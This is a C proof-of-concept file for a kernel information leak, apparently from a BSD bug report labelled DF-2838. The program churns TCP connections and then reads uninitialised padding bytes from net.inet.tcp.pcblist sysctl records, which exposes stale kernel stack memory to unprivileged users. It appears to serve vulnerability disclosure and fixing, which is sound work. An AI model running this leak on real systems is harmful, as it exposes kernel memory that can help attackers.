DF-2838 / pcbleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-2838 PoC: sotoxsocket()/ssbtoxsockbuf() (uipc_socket2.c:827-848, * 188-198) fill every named field of struct xsocket / struct xsockbuf but * never the structure PADDING: 2 trailing pad bytes inside each xsockbuf * (after `short sb_flags`, 46 -> 48) and 4 tail pad bytes of struct * xsocket (after `uid_t so_uid`, 164 -> 168). tcp_pcblist_sysctl * (netinet/tcp_subr.c) uses a stack `struct xtcpcb xt` that is never * zeroed, so 8 bytes of stale kernel stack per record are shipped to any * unprivileged reader of net.inet.tcp.pcblist. * * This program dumps exactly those pad offsets for every pcblist record, * three times, churning TCP connections in between to dirty the sysctl * thread's stack. * * Build: cc -D_KERNEL_STRUCTURES -I/usr/src/sys -I/usr/src/sys/sys \ * -o pcbleak pcbleak.c */ #include <sys/types.h> #include <sys/param.h> #include <stdint.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <sys/socketvar.h> #include <netinet/in.h> #include <netinet/tcp_var.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stddef.h> #define RECSZ sizeof(struct xtcpcb) int main(void) { size_t p_rcv, p_snd, p_tail; size_t base = offsetof(struct xtcpcb, xt_socket); int run; p_rcv = base + offsetof(struct xsocket, so_rcv) + 46; p_snd = base + offsetof(struct xsocket, so_snd) + 46; p_tail = base + sizeof(struct xsocket) - 4; printf("sizeof(xtcpcb)=%zu xt_socket@%zu pad_offs: rcv=%zu snd=%zu tail=%zu\n", RECSZ, base, p_rcv, p_snd, p_tail); for (run = 1; run <= 3; run++) { size_t len = 0; char *buf; int error, cnt = 0, nz = 0; size_t i; /* dirty the kernel stack that the sysctl handler will reuse */ for (i = 0; i < 40; i++) { int s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_len = sizeof(sa); sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(9); /* discard */ connect(s, (struct sockaddr *)&sa, sizeof(sa)); close(s); } error = sysctlbyname("net.inet.tcp.pcblist", NULL, &len, NULL, 0); if (error) { printf("run %d: sysctl estimate: %s\n", run, strerror(errno)); return (1); } /* second estimate pass keeps len; shrink so handler re-fills */ buf = malloc(len); error = sysctlbyname("net.inet.tcp.pcblist", buf, &len, NULL, 0); if (error) { printf("run %d: sysctl: %s\n", run, strerror(errno)); return (1); } printf("run %d: pcblist len=%zu (%zu records)\n", run, len, len / RECSZ); for (i = 0; i + RECSZ <= len; i += RECSZ, cnt++) { unsigned char *rec = (unsigned char *)buf + i; unsigned char *pr = rec + p_rcv; unsigned char *ps = rec + p_snd; unsigned char *pt = rec + p_tail; int rnz = 0; printf(" rec#%d pads: rcv=%02x%02x snd=%02x%02x " "tail=%02x%02x%02x%02x\n", cnt, pr[1], pr[0], ps[1], ps[0], pt[3], pt[2], pt[1], pt[0]); if (pr[0] | pr[1]) rnz |= 1; if (ps[0] | ps[1]) rnz |= 2; if (pt[0] | pt[1] | pt[2] | pt[3]) rnz |= 4; if (rnz) nz++; } printf("run %d: %d/%d records have nonzero pad bytes\n", run, nz, cnt); free(buf); } return (0); } |